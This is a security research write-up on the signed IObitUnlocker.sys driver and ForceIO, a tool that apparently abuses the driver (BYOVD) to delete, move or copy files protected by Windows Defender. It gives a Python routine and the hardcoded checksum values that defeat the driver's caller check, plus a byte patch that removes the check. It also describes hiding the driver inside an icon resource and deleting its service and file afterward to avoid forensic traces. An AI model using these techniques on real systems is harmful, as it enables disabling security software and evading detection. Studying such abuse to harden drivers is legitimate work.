| Symbolic Link | \DosDevices\IObitUnlockerDevice |
| Win32 path | \\.\IObitUnlockerDevice |
| Device type | 0x0001 (non-standard — not FILE_DEVICE_UNKNOWN = 0x22) |
+0xA008 (runtime init — likely GSCookie or CRT fragment).IoCreateDevice with device name \Device\IObitUnlockerDevice, type 0x0001.IoCreateSymbolicLink from \DosDevices\IObitUnlockerDevice to the device.DriverObject->Flags |= DO_DIRECT_IO (bit 4 at +0x30).DO_EXCLUSIVE flag (bit 7 at +0x30).IRP_MJ_CREATE = IRP_MJ_CLOSE = +0x128C, IRP_MJ_DEVICE_CONTROL = +0x12B4.\Device\HarddiskVolume1\unlocker.log).ZwQueryInformationProcess via MmGetSystemRoutineAddress → store at +0x8150.+0x8160 and +0x8158 (purpose unknown — possibly version markers).+0x3FA8 (logging initialization).The driver resolves drive letters internally:
ZwOpenSymbolicLinkObject(&hLink, SYMBOLIC_LINK_QUERY,
&oa{L"\\DosDevices\\C:"});
ZwQuerySymbolicLinkObject(hLink, &targetPath, NULL);
// targetPath = L"\\Device\\HarddiskVolume3"
This means the usermode caller can pass standard Win32 paths (e.g., C:\Windows\file.txt) — the driver converts them to NT paths before performing I/O.
1. (Optional) Kill/detach processes holding handles:
ZwOpenProcess → ZwDuplicateObject(DUPLICATE_CLOSE_SOURCE)
or ZwTerminateProcess if force-kill flag is set
2. Resolve Win32 → NT path:
"C:\folder\file" → "\Device\HarddiskVolume3\folder\file"
3. Open with DELETE access:
ZwCreateFile(DELETE | SYNCHRONIZE, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
FILE_OPEN, FILE_SHARE_DELETE | READ | WRITE,
FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT)
4. If SHARING_VIOLATION → KeDelayExecutionThread + retry
5. Set disposition:
ZwSetInformationFile(hFile, FileDispositionInformation, {DeleteFile = TRUE})
6. Close handle → file is deleted
The final operation map matters more than the names assigned during early reverse engineering:
| OperationType | ForceIO command | Driver behaviour |
|---|---|---|
1 |
delete |
Delete source path |
2 |
first rename attempt |
Raw FILE_RENAME_INFORMATION IRP; unreliable for ordinary destination paths |
3 |
rename / move fallback |
Copy data, then delete source |
4 |
copy |
Copy data, leave source intact |
For directories, the driver performs recursion internally with ZwQueryDirectoryFile. This is why OperationType=3 succeeds where a user-mode FindFirstFileW + per-file copy/delete fallback can miss protected children and end with ERROR_DIR_NOT_EMPTY.
The driver refuses to terminate these processes (checked via PsGetProcessPeb + _wcsicmp):
System
System Idle Process
csrss.exe
lsass.exe
lsm.exe
smss.exe
wininit.exe
winlogon.exe
userinit.exe
explorer.exe
IObitUnlocker.exe
The validation spans three functions:
| Function | Offset | Role |
|---|---|---|
+0x3CB0 |
Validation entry | IoGetCurrentProcess, build image name, call helpers |
+0x3A14 |
Process query | ZwQueryInformationProcess(ProcessImageFileName=27) |
+0x3AF0 |
File checksum | ZwCreateFile, ZwReadFile, compute XOR/ALT, compare |
IObit designed this check to prevent third-party tools from using their driver as a BYOVD weapon. The checksums match only the original IObitUnlocker.exe binary, so an attacker who downloads the driver cannot simply call its IOCTLs from arbitrary code.
The protection is naive — the checksums are trivially reversible, and the comparison values are hardcoded in the driver binary (not derived from a signature or certificate). But it is sufficient to block casual misuse and automated BYOVD (or BYOPD) frameworks that do not perform driver-specific analysis.
Instead of fixing the caller's checksums, one could NOP the two jne instructions at +0x3DCC and +0x3DD6:
+0x3DCC: 75 0E → 90 90 (NOP the XOR check branch)
+0x3DD6: 75 04 → 90 90 (NOP the ALT check branch)
This 4-byte patch disables validation entirely. However, it invalidates the driver's Microsoft WHCP Authenticode signature, which means the driver will not load on systems with Driver Signature Enforcement enabled (the default). The checksum-padding approach preserves the driver signature.
C:\Projekty\ForceIO\
├── IcoBuilder\
│ ├── kvc.ico Base application icon (9,662 bytes)
│ └── forceio.dat Signed driver binary (IObitUnlocker.sys, untouched)
├── ICON\
│ └── kvc.ico Combined icon + LZX-CAB payload (built by build.ps1)
├── src\
│ ├── main.c Entry point, CLI parser, command dispatch
│ ├── DeviceIO.c/.h IOCTL protocol and file operations
│ ├── DriverSession.c/.h Atomic driver lifecycle (Begin/End sessions)
│ ├── DriverExtract.c/.h FDI in-memory decompression from icon+CAB resource
│ ├── Console.c/.h No-CRT console output
│ ├── GenIconSize.h Auto-generated icon header size (build.ps1)
│ ├── Resource.h Resource identifiers
│ ├── ForceIO.rc Icon and embedded payload resource (dual reference)
│ ├── ForceIO.manifest UAC elevation manifest
│ └── ForceIO.vcxproj Visual Studio project, Win32 Release
├── build.ps1 LZX compress + icon assembly + MSBuild + checksum patch
└── bin\
└── ForceIO.exe Patched binary (checksums matched)
cd C:\Projekty\ForceIO
.\build.ps1
The script:
IcoBuilder\forceio.dat via makecab into a CAB archive.IcoBuilder\kvc.ico, writes the combined blob to ICON\kvc.ico.src\GenIconSize.h with the icon header byte count (FDI seek offset).src\ForceIO.vcxproj as Release|Win32.KERNEL32.dll, ADVAPI32.dll, and CABINET.dll.XOR=0x2B, ALT=0x00A88677.cabinet.dll (present on all supported Windows versions)The driver creates a visible device object (\Device\IObitUnlockerDevice) during operation. The SCM service entry (IObitUnlocker) is ephemeral — it exists only for the duration of a single file operation and is deleted immediately after the IOCTL completes. The driver file (%SystemRoot%\forceio.dat) is likewise removed after each operation. The driver log at %SystemRoot%\unlocker.log records every operation with NTSTATUS codes and NT paths.
EDR solutions that monitor driver loads or device object creation can detect ForceIO's activity, but post-operation forensics will find no persistent service entry, no driver file on disk, and no registry artifact. The only durable trace is the driver log file (created by the driver itself, not by ForceIO).
As of June 2026, IObitUnlocker.sys does not appear on the Microsoft Vulnerable Driver Blocklist or in the LOLDrivers database. The driver loads and operates normally on systems with HVCI and Driver Signature Enforcement enabled. If Microsoft adds this driver to the blocklist in the future, ForceIO will cease to function on hardened systems without disabling that protection.
ForceIO embeds IObitUnlocker.sys (renamed to forceio.dat) as an LZX-compressed CAB payload inside the application icon resource during the local build. For public distribution, the safer model is to publish source code and build tooling, and require the user to place a legally obtained copy of the driver in IcoBuilder\forceio.dat. The driver binary is not modified — preserving the WHCP signature is the point of the design.
This research is published to:
A stronger anti-abuse design for IObit would verify the caller via Authenticode signature validation or a kernel callback (PsSetCreateProcessNotifyRoutine) rather than trivially reversible checksums.
The PE Import Directory is at RVA 0xA084. Single import from ntoskrnl.exe. The Import Lookup Table starts at 0xA0B0 with 56 entries (null-terminated). Each entry's Hint/Name RVA was resolved via CDB:
cdb -z IObitUnlocker.sys -c "da IObitUnlocker+<rva+2>; q"
All 56 function names are listed in §4.1.
def compute_iobit_checksums(filepath):
"""
Compute the two checksums that IObitUnlocker.sys uses for caller validation.
The driver code is at IObitUnlocker.sys+0x3C33 (XOR) and +0x3C53 (ALT).
"""
with open(filepath, 'rb') as f:
data = f.read()
xor_sum = 0
alt_sum = 0
for i, byte in enumerate(data):
xor_sum ^= byte
if i % 2 == 0:
alt_sum += byte # even-indexed bytes: add
else:
alt_sum -= byte # odd-indexed bytes: subtract
return xor_sum & 0xFF, alt_sum & 0xFFFFFFFF
# Expected values (from IObitUnlocker.sys+0x3DC7):
# XOR == 0x2B
# ALT == 0x00A88677
The complete source is split across six modules (see §13):
| Module | Responsibility |
|---|---|
main.c |
Entry point, CLI parser, command dispatch |
DriverSession.c/.h |
Atomic SCM lifecycle (Begin/End), manual start/stop/cleanup |
DriverExtract.c/.h |
FDI in-memory decompression from icon+CAB resource |
DeviceIO.c/.h |
IOCTL protocol, recursive delete/copy |
Console.c/.h |
No-CRT console output |
GenIconSize.h |
Auto-generated icon header byte count (CAB offset) |
Key design decisions:
No CRT dependency. memset and memcpy are provided as #pragma function overrides in DeviceIO.c and DriverExtract.c respectively. String operations use manual implementations (wlen, wcopy_safe, weq). Console output uses WriteFile with WideCharToMultiByte(CP_UTF8) for pipe/redirect compatibility.
LZX-compressed payload. The build pipeline compresses the driver with makecab (LZX, 21-bit window) and appends the CAB to the application icon. The combined blob is referenced in ForceIO.rc twice: as ICON (Explorer glyph) and as RCDATA (FDI source). At runtime, DriverExtract_Deploy locates the resource, skips ICON_HEADER_SIZE bytes, and feeds the trailing CAB to FDI via memory-only callbacks. The decompressed bytes are written to %SystemRoot%\forceio.dat. Compression ratio: ~50% (41 KB → 20 KB CAB).
Atomic driver sessions. DriverSession_Begin performs pre-cleanup (stop + delete any leftover service), FDI extraction, CreateServiceW with ImagePath = forceio.dat (OS resolves to %SystemRoot%), StartServiceW, and DeviceIO_Open. DriverSession_End closes the device handle, stops the service, deletes it from SCM, and removes the driver file. The entire lifecycle uses pure SCM API — zero Sleep calls. ControlService(STOP) on kernel drivers is synchronous.
Single IOCTL round-trip per primitive. One CreateFileW opens \\.\IObitUnlockerDevice, one DeviceIoControl performs the selected operation, then CloseHandle. For batch operations (recursive directory delete/copy), the device handle remains open across all IOCTLs within a single atomic session.
| Date | Event |
|---|---|
| 2026-06-24 08:00 | Initial analysis document (IObitUnlocker_RE_analiza.md) prepared |
| 2026-06-24 09:30 | DLL disassembly completed, buffer layout corrected |
| 2026-06-24 10:00 | First Python IOCTL test → ERROR 87 |
| 2026-06-24 11:00 | NtDeviceIoControlFile confirms STATUS_INVALID_PARAMETER for all buffer variations |
| 2026-06-24 12:00 | CDB driver disassembly: validation function at +0x3CB0 identified |
| 2026-06-24 13:00 | PE Import Table fully reconstructed (56 functions) |
| 2026-06-24 14:00 | Validation function traced: IoGetCurrentProcess → ZwQueryInformationProcess → ZwCreateFile → ZwReadFile |
| 2026-06-24 14:30 | Checksum comparison found at +0x3DC7: 0x2B and 0x00A88677 |
| 2026-06-24 15:00 | Compiled 32-bit ulk_client.exe + checksum padding → first successful IOCTL |
| 2026-06-24 15:15 | Unknown.Log deleted (WdFilter bypass confirmed) |
| 2026-06-24 16:00 | ForceIO standalone tool compiled (/NODEFAULTLIB, no IObit dependency) |
| 2026-06-24 16:30 | DefenderEcsCache.bin64 deleted (second WdFilter-protected target) |
| 2026-06-25 00:30 | OperationType=3/4 corrected: 3 = move/cut, 4 = copy |
| 2026-06-25 00:45 | Protected Windows Defender directory moved and deleted through ForceIO |
| 2026-06-25 01:00 | Documentation (initial writeup) |
| 2026-06-25 08:00 | Driver binary renamed to ForceIO.dat, ImagePath simplified to bare filename |
| 2026-06-25 08:30 | FDI pipeline: driver LZX-compressed into CAB, appended to icon, decompressed at runtime via Cabinet API |
| 2026-06-25 09:00 | DriverSession.c replaces DriverLoader.c — atomic SCM lifecycle (create → start → use → stop → delete) |
| 2026-06-25 09:15 | All Sleep calls removed — pure synchronous API, kernel driver stop is synchronous |
| 2026-06-25 09:30 | 26-test integration suite: delete/rename/copy (single, directory, nested, stress ×10), atomic cleanup verified |
FltMgr.sys, Microsoft filesystem filter architecture© 2026 WESMAR Marek Wesołowski. All rights reserved.
Published for educational and authorized security research purposes.